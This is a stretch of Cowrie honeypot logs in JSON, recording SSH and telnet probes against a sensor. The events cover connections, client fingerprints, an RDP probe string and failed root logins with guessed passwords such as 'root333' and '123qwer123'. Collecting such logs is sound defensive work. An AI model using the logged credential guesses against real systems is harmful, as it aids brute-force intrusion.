{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40930,"dst_ip":"10.17.0.5","dst_port":23,"session":"456f46eef632","protocol":"telnet","message":"New connection: 192.119.13.58:40930 (10.17.0.5:23) [session: 456f46eef632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:35.530135Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46880,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f1541d77ead","protocol":"telnet","message":"New connection: 192.119.13.58:46880 (10.17.0.5:23) [session: 2f1541d77ead]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:52.721417Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55958,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb974cc75042","protocol":"telnet","message":"New connection: 192.119.13.58:55958 (10.17.0.5:23) [session: eb974cc75042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:08:55.203445Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.150.26","src_port":41458,"dst_ip":"159.203.135.109","dst_port":22,"session":"689057accaf8","protocol":"ssh","message":"New connection: 152.32.150.26:41458 (159.203.135.109:22) [session: 689057accaf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:09:02.444473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:09:02.458230Z","src_ip":"152.32.150.26","session":"689057accaf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:09:02.480934Z","src_ip":"152.32.150.26","session":"689057accaf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root333","message":"login attempt [root/root333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:09:02.561414Z","src_ip":"152.32.150.26","session":"689057accaf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:09:03.578188Z","src_ip":"152.32.150.26","session":"689057accaf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.40292835235596,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:09:08.932945Z","src_ip":"192.119.13.58","session":"456f46eef632","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":39520,"dst_ip":"10.17.0.5","dst_port":22,"session":"8db3b70d25db","protocol":"ssh","message":"New connection: 176.65.148.108:39520 (10.17.0.5:22) [session: 8db3b70d25db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:09:16.044550Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:09:16.128668Z","src_ip":"176.65.148.108","session":"8db3b70d25db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":34694,"dst_ip":"10.17.0.5","dst_port":22,"session":"28eee280b608","protocol":"ssh","message":"New connection: 176.65.148.108:34694 (10.17.0.5:22) [session: 28eee280b608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:09:16.207059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:09:16.212034Z","src_ip":"176.65.148.108","session":"28eee280b608","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:09:16.309821Z","src_ip":"176.65.148.108","session":"28eee280b608","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aa","password":"aa","message":"login attempt [aa/aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:09:16.557735Z","src_ip":"176.65.148.108","session":"28eee280b608","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:09:17.643332Z","src_ip":"176.65.148.108","session":"28eee280b608","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.24717473983765,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:09:34.968468Z","src_ip":"192.119.13.58","session":"2f1541d77ead","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":47762,"dst_ip":"159.203.135.109","dst_port":22,"session":"884178e0c6f6","protocol":"ssh","message":"New connection: 103.82.132.16:47762 (159.203.135.109:22) [session: 884178e0c6f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:09:38.897514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:09:38.902144Z","src_ip":"103.82.132.16","session":"884178e0c6f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:09:39.164956Z","src_ip":"103.82.132.16","session":"884178e0c6f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwer123","message":"login attempt [root/123qwer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:09:39.954910Z","src_ip":"103.82.132.16","session":"884178e0c6f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.032588958740234,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:09:40.235905Z","src_ip":"192.119.13.58","session":"eb974cc75042","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:09:41.220883Z","src_ip":"103.82.132.16","session":"884178e0c6f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":22066,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dc52eae9ae6","protocol":"ssh","message":"New connection: 38.93.206.2:22066 (10.17.0.5:22) [session: 2dc52eae9ae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:09:56.892700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:09:56.901147Z","src_ip":"38.93.206.2","session":"2dc52eae9ae6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:09:56.951854Z","src_ip":"38.93.206.2","session":"2dc52eae9ae6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1475369","message":"login attempt [root/1475369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:09:57.104861Z","src_ip":"38.93.206.2","session":"2dc52eae9ae6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:09:58.158320Z","src_ip":"38.93.206.2","session":"2dc52eae9ae6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.89.56","src_port":54552,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e91eee0ca19","protocol":"ssh","message":"New connection: 43.173.89.56:54552 (159.203.135.109:22) [session: 9e91eee0ca19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:10:32.320780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:10:32.325450Z","src_ip":"43.173.89.56","session":"9e91eee0ca19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:10:32.393031Z","src_ip":"43.173.89.56","session":"9e91eee0ca19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nitesh","message":"login attempt [root/nitesh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:10:32.697623Z","src_ip":"43.173.89.56","session":"9e91eee0ca19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:10:33.768638Z","src_ip":"43.173.89.56","session":"9e91eee0ca19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":44966,"dst_ip":"159.203.135.109","dst_port":22,"session":"eee95c9c605c","protocol":"ssh","message":"New connection: 193.37.70.224:44966 (159.203.135.109:22) [session: eee95c9c605c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:10:38.682191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:10:38.687225Z","src_ip":"193.37.70.224","session":"eee95c9c605c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:10:38.776765Z","src_ip":"193.37.70.224","session":"eee95c9c605c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456abc","message":"login attempt [root/123456abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:10:39.064522Z","src_ip":"193.37.70.224","session":"eee95c9c605c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:10:40.156985Z","src_ip":"193.37.70.224","session":"eee95c9c605c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":51858,"dst_ip":"159.203.135.109","dst_port":22,"session":"035d17501f3b","protocol":"ssh","message":"New connection: 152.42.212.128:51858 (159.203.135.109:22) [session: 035d17501f3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:10:49.514938Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:10:49.518517Z","src_ip":"152.42.212.128","session":"035d17501f3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:10:49.521947Z","src_ip":"152.42.212.128","session":"035d17501f3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":53754,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5953a8d82c2","protocol":"ssh","message":"New connection: 62.133.63.178:53754 (10.17.0.5:22) [session: a5953a8d82c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:10:51.183546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:10:51.187409Z","src_ip":"62.133.63.178","session":"a5953a8d82c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:10:51.313730Z","src_ip":"62.133.63.178","session":"a5953a8d82c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fuckoff","message":"login attempt [root/fuckoff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:10:51.686503Z","src_ip":"62.133.63.178","session":"a5953a8d82c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:10:52.813626Z","src_ip":"62.133.63.178","session":"a5953a8d82c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":37272,"dst_ip":"159.203.135.109","dst_port":22,"session":"23c1c0941a44","protocol":"ssh","message":"New connection: 147.45.199.80:37272 (159.203.135.109:22) [session: 23c1c0941a44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:11:10.734235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:11:10.738095Z","src_ip":"147.45.199.80","session":"23c1c0941a44","protocol":"ssh"}
